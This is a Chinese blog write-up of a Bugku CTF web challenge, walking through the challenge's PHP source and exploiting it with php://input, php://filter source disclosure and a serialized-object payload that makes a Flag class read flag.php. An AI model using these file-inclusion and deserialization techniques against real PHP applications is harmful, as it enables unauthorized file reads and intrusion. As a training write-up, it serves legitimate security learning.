美文网首页
记一个php://filter和php://input的CTF题

记一个php://filter和php://input的CTF题

作者: __周__ | 来源:发表于2018-06-28 21:30 被阅读0次

http://120.24.86.145:8006/test1/

首先直接查看源码,可以获得题目中的提示

you are not the number of bugku !   
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 --> 

通过审计源码知道需求如下:

  • 需要通过GET方式传递三个参数
  • 必须存在$user
  • 读取的$user文件内容===welcome to the bugkuctf
  • $file要求为hint.php
关于php://filter可以去大佬的博客去看一下https://www.leavesongs.com/PENETRATION/php-filter-magic.html
关于php://input (官方说明)可以读取没有处理过的POST数据,相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data”

在这里可以利用这两个php的协议

  • 首先先读取提示中的“hint.php”的源码
图片.png

构造完整之后

图片.png
  • 然后进行base64解密,得到hint.php的源码如下:
<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

同样的套路再用一遍获取index.php的源码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  
  • 提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match
  • hint.php中定义了一个类Flag,注意到中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
  • __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
  • 在index.php源码中看到了$password的作用

将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring方法,只有echo,只能输出一个或多个字符串,所以构造password为Flag类型,
其中的string变量flie=flag.php。
还注意到

password=unserialize(password);

因此知道需要构造序列化对象payload为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
图片.png

之后查看源码即可得到flag

例:O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2:  指的是 有两个对象

S:7:”\00*\00file”   指的是有个属性,有7个字符,名为\00*\00file

s:8:”flag.php”   指的是属性值,有8个字符,值为flag.php 

相关文章

网友评论

      本文标题:记一个php://filter和php://input的CTF题

      本文链接:https://www.haomeiwen.com/subject/hgsnyftx.html